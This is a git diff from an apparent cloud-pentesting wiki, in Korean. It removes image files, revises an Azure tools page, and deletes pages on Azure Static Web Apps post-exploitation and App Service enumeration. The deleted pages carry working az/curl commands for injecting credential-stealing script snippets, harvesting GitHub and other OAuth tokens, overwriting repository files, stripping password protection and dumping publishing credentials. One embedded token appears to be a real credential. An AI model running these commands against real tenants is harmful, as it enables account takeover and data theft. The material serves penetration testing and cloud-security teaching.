Binary files a/src/images/image (66).png and /dev/null differ diff --git a/src/images/image (67).png b/src/images/image (67).png deleted file mode 100644 index 603c2135d..000000000 Binary files a/src/images/image (67).png and /dev/null differ diff --git a/src/images/image (68).png b/src/images/image (68).png deleted file mode 100644 index 67c7b2f01..000000000 Binary files a/src/images/image (68).png and /dev/null differ diff --git a/src/images/image (69).png b/src/images/image (69).png deleted file mode 100644 index 70a011106..000000000 Binary files a/src/images/image (69).png and /dev/null differ diff --git a/src/images/image (7) (1) (1) (1).png b/src/images/image (7) (1) (1) (1).png deleted file mode 100644 index 8dece9113..000000000 Binary files a/src/images/image (7) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (7) (1) (1) (2).png b/src/images/image (7) (1) (1) (2).png deleted file mode 100644 index 34fda8b40..000000000 Binary files a/src/images/image (7) (1) (1) (2).png and /dev/null differ diff --git a/src/images/image (7) (1) (1).png b/src/images/image (7) (1) (1).png deleted file mode 100644 index aaec7c056..000000000 Binary files a/src/images/image (7) (1) (1).png and /dev/null differ diff --git a/src/images/image (7) (1) (2) (1).png b/src/images/image (7) (1) (2) (1).png deleted file mode 100644 index 987ff45c2..000000000 Binary files a/src/images/image (7) (1) (2) (1).png and /dev/null differ diff --git a/src/images/image (7) (1) (2).png b/src/images/image (7) (1) (2).png deleted file mode 100644 index c9a6e22db..000000000 Binary files a/src/images/image (7) (1) (2).png and /dev/null differ diff --git a/src/images/image (7) (1).png b/src/images/image (7) (1).png deleted file mode 100644 index c08e410cf..000000000 Binary files a/src/images/image (7) (1).png and /dev/null differ diff --git a/src/images/image (7) (2).png b/src/images/image (7) (2).png deleted file mode 100644 index 9e0e60398..000000000 Binary files a/src/images/image (7) (2).png and /dev/null differ diff --git a/src/images/image (70).png b/src/images/image (70).png deleted file mode 100644 index e926bb057..000000000 Binary files a/src/images/image (70).png and /dev/null differ diff --git a/src/images/image (71).png b/src/images/image (71).png deleted file mode 100644 index 3c8637485..000000000 Binary files a/src/images/image (71).png and /dev/null differ diff --git a/src/images/image (72).png b/src/images/image (72).png deleted file mode 100644 index 9c56df1fd..000000000 Binary files a/src/images/image (72).png and /dev/null differ diff --git a/src/images/image (73).png b/src/images/image (73).png deleted file mode 100644 index 86d66972e..000000000 Binary files a/src/images/image (73).png and /dev/null differ diff --git a/src/images/image (74).png b/src/images/image (74).png deleted file mode 100644 index ec568a4fa..000000000 Binary files a/src/images/image (74).png and /dev/null differ diff --git a/src/images/image (75).png b/src/images/image (75).png deleted file mode 100644 index 61b0f9004..000000000 Binary files a/src/images/image (75).png and /dev/null differ diff --git a/src/images/image (8) (1) (1) (1) (1) (1).png b/src/images/image (8) (1) (1) (1) (1) (1).png deleted file mode 100644 index f1071d8a6..000000000 Binary files a/src/images/image (8) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1) (1) (1) (1).png b/src/images/image (8) (1) (1) (1) (1).png deleted file mode 100644 index c57fa4d22..000000000 Binary files a/src/images/image (8) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1) (1) (1).png b/src/images/image (8) (1) (1) (1).png deleted file mode 100644 index 04471fecb..000000000 Binary files a/src/images/image (8) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1) (1).png b/src/images/image (8) (1) (1).png deleted file mode 100644 index 603c2135d..000000000 Binary files a/src/images/image (8) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1).png b/src/images/image (8) (1).png deleted file mode 100644 index 7f9833bf8..000000000 Binary files a/src/images/image (8) (1).png and /dev/null differ diff --git a/src/images/image (8) (2).png b/src/images/image (8) (2).png deleted file mode 100644 index ccbac226e..000000000 Binary files a/src/images/image (8) (2).png and /dev/null differ diff --git a/src/images/image (8) (3).png b/src/images/image (8) (3).png deleted file mode 100644 index 1279948e3..000000000 Binary files a/src/images/image (8) (3).png and /dev/null differ diff --git a/src/images/image (80).png b/src/images/image (80).png deleted file mode 100644 index 6afb7de00..000000000 Binary files a/src/images/image (80).png and /dev/null differ diff --git a/src/images/image (83) (1).png b/src/images/image (83) (1).png deleted file mode 100644 index cf7f43578..000000000 Binary files a/src/images/image (83) (1).png and /dev/null differ diff --git a/src/images/image (84).png b/src/images/image (84).png deleted file mode 100644 index 8e8c8e143..000000000 Binary files a/src/images/image (84).png and /dev/null differ diff --git a/src/images/image (85) (1).png b/src/images/image (85) (1).png deleted file mode 100644 index 4a7a7bbec..000000000 Binary files a/src/images/image (85) (1).png and /dev/null differ diff --git a/src/images/image (85).png b/src/images/image (85).png deleted file mode 100644 index 4b102f3b3..000000000 Binary files a/src/images/image (85).png and /dev/null differ diff --git a/src/images/image (87) (1).png b/src/images/image (87) (1).png deleted file mode 100644 index 8ee408d4f..000000000 Binary files a/src/images/image (87) (1).png and /dev/null differ diff --git a/src/images/image (87).png b/src/images/image (87).png deleted file mode 100644 index 72803d6a2..000000000 Binary files a/src/images/image (87).png and /dev/null differ diff --git a/src/images/image (89) (1).png b/src/images/image (89) (1).png deleted file mode 100644 index 05d5e97a9..000000000 Binary files a/src/images/image (89) (1).png and /dev/null differ diff --git a/src/images/image (9) (1) (1) (1) (1).png b/src/images/image (9) (1) (1) (1) (1).png deleted file mode 100644 index c933d4692..000000000 Binary files a/src/images/image (9) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (9) (1) (1) (1).png b/src/images/image (9) (1) (1) (1).png deleted file mode 100644 index b9ba83cc0..000000000 Binary files a/src/images/image (9) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (9) (1) (1).png b/src/images/image (9) (1) (1).png deleted file mode 100644 index 67c7b2f01..000000000 Binary files a/src/images/image (9) (1) (1).png and /dev/null differ diff --git a/src/images/image (9) (1).png b/src/images/image (9) (1).png deleted file mode 100644 index 7593f6f36..000000000 Binary files a/src/images/image (9) (1).png and /dev/null differ diff --git a/src/images/image (9) (2).png b/src/images/image (9) (2).png deleted file mode 100644 index 03ad3a91f..000000000 Binary files a/src/images/image (9) (2).png and /dev/null differ diff --git a/src/images/image (9).png b/src/images/image (9).png deleted file mode 100644 index 01b5eed6d..000000000 Binary files a/src/images/image (9).png and /dev/null differ diff --git a/src/images/image (90).png b/src/images/image (90).png deleted file mode 100644 index 327adc67b..000000000 Binary files a/src/images/image (90).png and /dev/null differ diff --git a/src/images/image (91).png b/src/images/image (91).png deleted file mode 100644 index 331ec323a..000000000 Binary files a/src/images/image (91).png and /dev/null differ diff --git a/src/images/image (92) (1) (1).png b/src/images/image (92) (1) (1).png deleted file mode 100644 index fb0364e97..000000000 Binary files a/src/images/image (92) (1) (1).png and /dev/null differ diff --git a/src/images/image (92) (1).png b/src/images/image (92) (1).png deleted file mode 100644 index 26d1fff4b..000000000 Binary files a/src/images/image (92) (1).png and /dev/null differ diff --git a/src/images/image (94).png b/src/images/image (94).png deleted file mode 100644 index 5e3da1153..000000000 Binary files a/src/images/image (94).png and /dev/null differ diff --git a/src/images/image (97).png b/src/images/image (97).png deleted file mode 100644 index 242eb34e3..000000000 Binary files a/src/images/image (97).png and /dev/null differ diff --git a/src/images/image (99).png b/src/images/image (99).png deleted file mode 100644 index b4b0305b7..000000000 Binary files a/src/images/image (99).png and /dev/null differ diff --git a/src/images/sponsor_8ksec.png b/src/images/sponsor_8ksec.png deleted file mode 100644 index 1d751216b..000000000 Binary files a/src/images/sponsor_8ksec.png and /dev/null differ diff --git a/src/images/sponsor_hackenproof.jpeg b/src/images/sponsor_hackenproof.jpeg deleted file mode 100644 index a4c6bc6f4..000000000 Binary files a/src/images/sponsor_hackenproof.jpeg and /dev/null differ diff --git a/src/images/sponsor_intigriti.png b/src/images/sponsor_intigriti.png deleted file mode 100644 index b7944f7d8..000000000 Binary files a/src/images/sponsor_intigriti.png and /dev/null differ diff --git a/src/images/sponsor_pentesttools.webp b/src/images/sponsor_pentesttools.webp deleted file mode 100644 index 1b5a0d663..000000000 Binary files a/src/images/sponsor_pentesttools.webp and /dev/null differ diff --git a/src/images/sponsor_rootedcon.png b/src/images/sponsor_rootedcon.png deleted file mode 100644 index cf4e8a20a..000000000 Binary files a/src/images/sponsor_rootedcon.png and /dev/null differ diff --git a/src/images/sponsor_stm.png b/src/images/sponsor_stm.png deleted file mode 100644 index e45c021c8..000000000 Binary files a/src/images/sponsor_stm.png and /dev/null differ diff --git a/src/images/sponsor_trickest.jpeg b/src/images/sponsor_trickest.jpeg deleted file mode 100644 index 92331426b..000000000 Binary files a/src/images/sponsor_trickest.jpeg and /dev/null differ diff --git a/src/images/telegram-cloud-document-4-5875069018120918586.jpg b/src/images/telegram-cloud-document-4-5875069018120918586.jpg deleted file mode 100644 index b7f7fc4c7..000000000 Binary files a/src/images/telegram-cloud-document-4-5875069018120918586.jpg and /dev/null differ diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 7ca3c4c05..9b25d90f8 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## 리눅스에 PowerShell 설치하기 +## Linux에 PowerShell 설치하기 > [!TIP] > 리눅스에서는 PowerShell Core를 설치해야 합니다: @@ -26,7 +26,7 @@ curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash ``` ## MacOS에 PowerShell 설치하기 -[**문서**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4)에서의 지침: +[**문서**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4)에서 제공하는 지침: 1. 아직 설치되지 않았다면 `brew`를 설치하세요: ```bash @@ -49,7 +49,7 @@ brew upgrade powershell ### az cli -[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli)는 Azure 및 Entra ID 리소스를 관리하고 운영하기 위해 Python으로 작성된 크로스 플랫폼 도구입니다. 이 도구는 Azure에 연결하여 명령줄 또는 스크립트를 통해 관리 명령을 실행합니다. +[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli)는 Azure 및 Entra ID 리소스를 관리하고 운영하기 위해 Python으로 작성된 크로스 플랫폼 도구입니다. Azure에 연결하여 명령줄 또는 스크립트를 통해 관리 명령을 실행합니다. [**설치 지침을 보려면 이 링크를 따르세요!**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install) @@ -103,19 +103,19 @@ Azure PowerShell AZ 모듈의 명령은 다음과 같이 구조화됩니다: `-Mg ` +Microsoft Graph PowerShell의 명령은 다음과 같이 구조화됩니다: `-Mg ` #### Microsoft Graph PowerShell 디버그 -**`-Debug`** 매개변수를 사용하면 도구가 전송하는 모든 요청을 볼 수 있습니다: +**`-Debug`** 매개변수를 사용하면 도구가 보내는 모든 요청을 볼 수 있습니다: ```bash Get-MgUser -Debug ``` @@ -126,4 +126,6 @@ Azure Active Directory (AD) 모듈은 현재 **사용 중단**되었으며, Azur > [!TIP] > 이는 Microsoft Graph PowerShell로 대체되었습니다. -다음 링크에서 [**설치 지침**](https://www.powershellgallery.com/packages/AzureAD)을 확인하세요. +Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md deleted file mode 100644 index 24be051a6..000000000 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md +++ /dev/null @@ -1,162 +0,0 @@ -# Az - Static Web Apps Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Azure Static Web Apps - -이 서비스에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../az-services/az-static-web-apps.md -{{#endref}} - -### Microsoft.Web/staticSites/snippets/write - -정적 웹 페이지가 임의의 HTML 코드를 로드하도록 스니펫을 생성할 수 있습니다. 이를 통해 공격자는 웹 앱 내에 JS 코드를 주입하고 자격 증명이나 암호화폐 지갑의 니모닉 키와 같은 민감한 정보를 탈취할 수 있습니다. - -다음 명령은 웹 앱에 항상 로드될 스니펫을 생성합니다:: -```bash -az rest \ ---method PUT \ ---uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ ---headers "Content-Type=application/json" \ ---body '{ -"properties": { -"name": "supersnippet", -"location": "Body", -"applicableEnvironmentsMode": "AllEnvironments", -"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", -"environments": [], -"insertBottom": false -} -}' -``` -### 구성된 제3자 자격 증명 읽기 - -App Service 섹션에서 설명한 바와 같이: - -{{#ref}} -../az-privilege-escalation/az-app-services-privesc.md -{{#endref}} - -다음 명령을 실행하면 현재 계정에 구성된 **제3자 자격 증명**을 읽을 수 있습니다. 예를 들어, 다른 사용자에 구성된 Github 자격 증명이 있는 경우, 다른 사용자에서 토큰에 접근할 수 없음을 유의하십시오. -```bash -az rest --method GET \ ---url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" -``` -이 명령은 Github, Bitbucket, Dropbox 및 OneDrive에 대한 토큰을 반환합니다. - -여기 토큰을 확인하기 위한 몇 가지 명령 예제가 있습니다: -```bash -# GitHub – List Repositories -curl -H "Authorization: token " \ --H "Accept: application/vnd.github.v3+json" \ -https://api.github.com/user/repos - -# Bitbucket – List Repositories -curl -H "Authorization: Bearer " \ --H "Accept: application/json" \ -https://api.bitbucket.org/2.0/repositories - -# Dropbox – List Files in Root Folder -curl -X POST https://api.dropboxapi.com/2/files/list_folder \ --H "Authorization: Bearer " \ --H "Content-Type: application/json" \ ---data '{"path": ""}' - -# OneDrive – List Files in Root Folder -curl -H "Authorization: Bearer " \ --H "Accept: application/json" \ -https://graph.microsoft.com/v1.0/me/drive/root/children -``` -### 파일 덮어쓰기 - 경로, HTML, JS 덮어쓰기... - -Azure를 통해 **앱이 포함된 Github 리포지토리 내의 파일을 덮어쓸 수 있습니다**. 이는 **Github 토큰**을 사용하여 다음과 같은 요청을 보내면 가능하며, 이 요청은 덮어쓸 파일의 경로, 파일의 내용 및 커밋 메시지를 나타냅니다. - -공격자는 이를 악용하여 기본적으로 **웹 앱의 내용을 변경**하여 악성 콘텐츠(자격 증명, 니모닉 키 등을 훔침)를 제공하거나, 단순히 **특정 경로를 자신의 서버로 재지정**하기 위해 `staticwebapp.config.json` 파일을 덮어쓸 수 있습니다. - -> [!WARNING] -> 공격자가 어떤 방식으로든 Github 리포지토리를 손상시키면, 그들은 Github에서 직접 파일을 덮어쓸 수 있다는 점에 유의하십시오. -```bash -curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ --H "Content-Type: application/json" \ --d '{ -"commit": { -"message": "Update static web app route configuration", -"branchName": "main", -"committer": { -"name": "Azure App Service", -"email": "donotreply@microsoft.com" -}, -"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", -"filePath": "staticwebapp.config.json", -"message": "Update static web app route configuration", -"repoName": "carlospolop/my-first-static-web-app", -"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" -}, -"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" -}' -``` -### Microsoft.Web/staticSites/config/write - -이 권한을 사용하면 **정적 웹 앱을 보호하는 비밀번호를 수정**하거나 다음과 같은 요청을 보내 모든 환경의 보호를 해제할 수 있습니다: -```bash -# Change password -az rest --method put \ ---url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ ---headers 'Content-Type=application/json' \ ---body '{ -"name": "basicAuth", -"type": "Microsoft.Web/staticSites/basicAuth", -"properties": { -"password": "SuperPassword123.", -"secretUrl": "", -"applicableEnvironmentsMode": "AllEnvironments" -} -}' - -# Remove the need of a password -az rest --method put \ ---url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ ---headers 'Content-Type=application/json' \ ---body '{ -"name": "basicAuth", -"type": "Microsoft.Web/staticSites/basicAuth", -"properties": { -"secretUrl": "", -"applicableEnvironmentsMode": "SpecifiedEnvironments", -"secretState": "None" -} -}' -``` -### Microsoft.Web/staticSites/listSecrets/action - -이 권한은 정적 앱에 대한 **API 키 배포 토큰**을 가져올 수 있게 해줍니다. - -이 토큰은 앱을 배포할 수 있게 해줍니다. -```bash -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" -``` -그런 다음 앱을 업데이트하려면 다음 명령을 실행할 수 있습니다. 이 명령은 **Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) 작동 방식**을 확인하여 추출된 것으로, Azure에서 기본적으로 사용하도록 설정한 것입니다. 따라서 이미지와 매개변수는 미래에 변경될 수 있습니다. - -1. 리포지토리 [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (또는 배포하려는 다른 리포지토리)를 다운로드하고 `cd react-basic`을 실행합니다. -2. 배포하려는 코드를 변경합니다. -3. 다음을 실행하여 배포합니다 ( ``을 변경하는 것을 잊지 마세요): -```bash -docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose -``` -### Microsoft.Web/staticSites/write - -이 권한을 사용하면 **정적 웹 앱의 소스를 다른 Github 리포지토리로 변경할 수 있지만**, 이는 자동으로 프로비저닝되지 않으며, 일반적으로 액션을 승인한 토큰으로 Github Action에서 수행해야 합니다. 이 토큰은 리포의 Github 비밀에 자동으로 업데이트되지 않습니다(앱이 생성될 때 자동으로 추가됩니다). -```bash -az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main -``` -### Microsoft.Web/staticSites/resetapikey/action - -이 권한을 사용하면 **정적 웹 앱의 API 키를 재설정**하여 앱을 자동으로 배포하는 워크플로우를 잠재적으로 DoS할 수 있습니다. -```bash -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md deleted file mode 100644 index d80fbe9e1..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ /dev/null @@ -1,271 +0,0 @@ -# Az - App Services - -{{#include ../../../banners/hacktricks-training.md}} - -## App Service Basic Information - -Azure App Services는 개발자가 **웹 애플리케이션, 모바일 앱 백엔드 및 API를 원활하게 구축, 배포 및 확장**할 수 있도록 합니다. 여러 프로그래밍 언어를 지원하며, 향상된 기능과 관리를 위해 다양한 Azure 도구 및 서비스와 통합됩니다. - -각 앱은 샌드박스 내에서 실행되지만, 격리는 App Service 계획에 따라 다릅니다. - -- 무료 및 공유 계층의 앱은 공유 VM에서 실행됩니다. -- 표준 및 프리미엄 계층의 앱은 전용 VM에서 실행됩니다. - -> [!WARNING] -> **어떠한** 격리도 **웹 취약점**(예: 파일 업로드 또는 인젝션)을 **방지하지 않습니다**. 그리고 **관리 ID**가 사용되는 경우, 이를 통해 **권한 상승**이 가능할 수 있습니다. - -앱에는 몇 가지 흥미로운 구성 옵션이 있습니다: - -- **항상 켜짐**: 앱이 항상 실행되도록 보장합니다. 활성화되지 않은 경우, 앱은 20분 동안 비활성 상태가 되면 중지되며, 요청이 수신되면 다시 시작됩니다. -- 웹잡이 지속적으로 실행되어야 하는 경우 필수적입니다. 앱이 중지되면 웹잡도 중지됩니다. -- **SSH**: 활성화된 경우, 충분한 권한을 가진 사용자가 SSH를 사용하여 앱에 연결할 수 있습니다. -- **디버깅**: 활성화된 경우, 충분한 권한을 가진 사용자가 앱을 디버깅할 수 있습니다. 그러나 이는 48시간마다 자동으로 비활성화됩니다. -- **웹 앱 + 데이터베이스**: 웹 콘솔을 통해 데이터베이스가 있는 앱을 생성할 수 있습니다. 이 경우 사용할 데이터베이스(SQLAzure, PostgreSQL, MySQL, MongoDB)를 선택할 수 있으며, Azure Cache for Redis를 생성할 수도 있습니다. -- 데이터베이스 및 Redis에 대한 자격 증명이 포함된 URL은 **appsettings**에 저장됩니다. -- **컨테이너**: 컨테이너의 URL과 접근 자격 증명을 지정하여 App Service에 컨테이너를 배포할 수 있습니다. - -## Basic Authentication - -웹 앱(및 일반적으로 Azure 함수)을 생성할 때 기본 인증을 활성화할지 여부를 지정할 수 있습니다. 이는 기본적으로 **SCM 및 FTP**를 애플리케이션에 대해 활성화하여 이러한 기술을 사용하여 애플리케이션을 배포할 수 있게 합니다.\ -또한, Azure는 **사용자 이름, 비밀번호 및 URL**을 가져오는 **API**를 제공합니다. - -웹 브라우저를 사용하여 `https:///BasicAuth`에 연결하고 그곳의 모든 파일 및 배포를 확인할 수 있습니다. - -### Kudu - -Kudu는 **Azure App Service 및 Function Apps를 위한 배포 엔진 및 관리 플랫폼**으로, Git 기반 배포, 원격 디버깅 및 웹 애플리케이션을 위한 파일 관리 기능을 제공합니다. 웹 앱의 SCM URL을 통해 접근할 수 있습니다. - -App Services와 Function Apps에서 사용되는 Kudu 버전은 다르며, Function Apps의 버전은 훨씬 제한적입니다. - -Kudu에서 찾을 수 있는 몇 가지 흥미로운 엔드포인트는 다음과 같습니다: -- `/DebugConsole`: Kudu가 실행되고 있는 환경에서 명령을 실행할 수 있는 콘솔입니다. -- 이 환경은 **메타데이터 서비스에 접근할 수 없습니다**. -- `/webssh/host`: 앱이 실행되고 있는 컨테이너 내부에 연결할 수 있는 웹 기반 SSH 클라이언트입니다. -- 이 환경은 **메타데이터 서비스에 접근할 수 있습니다**. 할당된 관리 ID에서 토큰을 얻기 위해서입니다. -- `/Env`: 시스템, 앱 설정, 환경 변수, 연결 문자열 및 HTTP 헤더에 대한 정보를 가져옵니다. -- `/wwwroot/`: 웹 앱의 루트 디렉토리입니다. 여기에서 모든 파일을 다운로드할 수 있습니다. - -## Sources - -App Services는 기본적으로 코드를 zip 파일로 업로드할 수 있지만, 타사 서비스에 연결하여 그곳에서 코드를 가져오는 것도 가능합니다. - -- 현재 지원되는 타사 소스는 **Github**와 **Bitbucket**입니다. -- 인증 토큰을 얻으려면 `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`을 실행할 수 있습니다. -- Azure는 기본적으로 코드가 업데이트될 때마다 App Service에 코드를 배포하기 위해 **Github Action**을 설정합니다. -- 또한, 그곳에서 코드를 가져오기 위해 **원격 git 저장소**(사용자 이름 및 비밀번호 포함)를 지정할 수 있습니다. -- 원격 저장소에 대한 자격 증명을 얻으려면 `az webapp deployment source show --name --resource-group ` 또는 `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`을 실행할 수 있습니다. -- **Azure Repository**를 사용할 수도 있습니다. -- **로컬 git 저장소**를 구성할 수도 있습니다. -- `az webapp deployment source show --name --resource-group `를 실행하여 git 저장소의 URL을 얻을 수 있으며, 이는 앱의 SCM URL이 됩니다. -- 이를 클론하려면 `az webapp deployment list-publishing-profiles --resource-group -n `를 사용하여 얻은 SCM 자격 증명이 필요합니다. - -## Webjobs - -Azure WebJobs는 **Azure App Service 환경에서 실행되는 백그라운드 작업**입니다. 개발자는 웹 애플리케이션과 함께 스크립트나 프로그램을 실행할 수 있어 파일 처리, 데이터 처리 또는 예약된 작업과 같은 비동기 또는 시간 집약적인 작업을 더 쉽게 처리할 수 있습니다. -웹잡에는 2가지 유형이 있습니다: -- **지속적**: 무한 루프에서 실행되며 생성되자마자 트리거됩니다. 지속적인 처리가 필요한 작업에 이상적입니다. 그러나 Always On이 비활성화되어 있고 지난 20분 동안 요청을 받지 않으면 앱이 중지되므로 웹잡도 중지됩니다. -- **트리거**: 필요에 따라 또는 일정에 따라 실행됩니다. 배치 데이터 업데이트 또는 유지 관리 루틴과 같은 주기적인 작업에 가장 적합합니다. - -웹잡은 환경에서 **코드를 실행**하고 연결된 관리 ID에 대한 **권한 상승**을 사용할 수 있기 때문에 공격자의 관점에서 매우 흥미롭습니다. - -또한, 웹잡에서 생성된 **로그**를 확인하는 것도 항상 흥미롭습니다. 이 로그에는 **민감한 정보**가 포함될 수 있습니다. - -### Slots - -Azure App Service Slots는 **동일한 App Service에 애플리케이션의 다양한 버전을 배포**하는 데 사용됩니다. 이를 통해 개발자는 프로덕션 환경에 배포하기 전에 새로운 기능이나 변경 사항을 별도의 환경에서 테스트할 수 있습니다. - -또한, 특정 슬롯으로 **트래픽의 비율**을 라우팅할 수 있어 **A/B 테스트** 및 백도어 용도로 유용합니다. - -### Azure Function Apps - -기본적으로 **Azure Function 앱은 Azure App Service의 하위 집합**이며, 웹 콘솔에 가서 모든 앱 서비스를 나열하거나 az cli에서 `az webapp list`를 실행하면 **여기에도 Function 앱이 나열된 것을 볼 수 있습니다**. - -실제로 App Services가 사용하는 일부 **보안 관련 기능**(`webapp` in az cli)은 **Function 앱에서도 사용됩니다**. - -### Enumeration - -{{#tabs }} -{{#tab name="az" }} -```bash -# List webapps -az webapp list -## Less information -az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table -## Get SCM URL of each webapp -az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g' - -# Get info about 1 app -az webapp show --name --resource-group - -# Get instances of a webapp -az webapp list-instances --name --resource-group -## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web - -# Get access restrictions of an app -az webapp config access-restriction show --name --resource-group - -# Remove access restrictions -az webapp config access-restriction remove --resource-group -n --rule-name - -# Get connection strings of a webapp -az webapp config connection-string list --name --resource-group - -# Get appsettings of an app -az webapp config appsettings list --name --resource-group - -# Get SCM and FTP credentials -az webapp deployment list-publishing-profiles --name --resource-group - -# Get configured Auth information -az webapp auth show --name --resource-group - -# Get backups of a webapp -az webapp config backup list --webapp-name --resource-group - -# Get backups scheduled for a webapp -az webapp config backup show --webapp-name --resource-group - -# Get snapshots -az webapp config snapshot list --resource-group -n - -# Restore snapshot -az webapp config snapshot restore -g -n --time 2018-12-11T23:34:16.8388367 - -# Get slots -az webapp deployment slot list --name --resource-group --output table -az webapp show --slot --name --resource-group - -# Get traffic-routing -az webapp traffic-routing show --name --resource-group - -# Get used container by the app -az webapp config container show --name --resource-group - -# Get storage account configurations of a webapp -az webapp config storage-account list --name --resource-group - -# Get configured container (if any) in the webapp, it could contain credentials -az webapp config container show --name --resource-group - -# Get Webjobs -az webapp webjob continuous list --resource-group --name -az webapp webjob triggered list --resource-group --name - -# Read webjobs logs with Azure permissions -az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" -az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" - -# Read webjobs logs with SCM credentials -curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \ ---user ':' -v - -# Get connections of a webapp -az webapp conection list --name --resource-group - -# Get hybrid-connections of a webapp -az webapp hybrid-connections list --name --resource-group -``` -{{#endtab }} - -{{#tab name="Az Powershell" }} -```powershell -# Get App Services and Function Apps -Get-AzWebApp -# Get only App Services -Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} -``` -{{#endtab }} - -{{#tab name="az get all" }} -```bash -#!/bin/bash - -# Get all App Service and Function Apps - -# Define Azure subscription ID -azure_subscription="your_subscription_id" - -# Log in to Azure -az login - -# Select Azure subscription -az account set --subscription $azure_subscription - -# Get all App Services in the specified subscription -list_app_services=$(az appservice list --query "[].{appServiceName: name, group: resourceGroup}" -o tsv) - -# Iterate over each App Service -echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do -# Get the type of the App Service -service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv) - -# Check if it is a Function App and print its name -if [ "$service_type" == "functionapp" ]; then -echo "Function App Name: $appServiceName" -fi -done -``` -{{#endtab }} -{{#endtabs }} - -#### 자격 증명 얻기 및 웹앱 코드에 접근하기 -```bash -# Get connection strings that could contain credentials (with DBs for example) -az webapp config connection-string list --name --resource-group -## Check how to use the DBs connection strings in the SQL page - -# Get credentials to access the code and DB credentials if configured. -az webapp deployment list-publishing-profiles --resource-group -n - - -# Get git URL to access the code -az 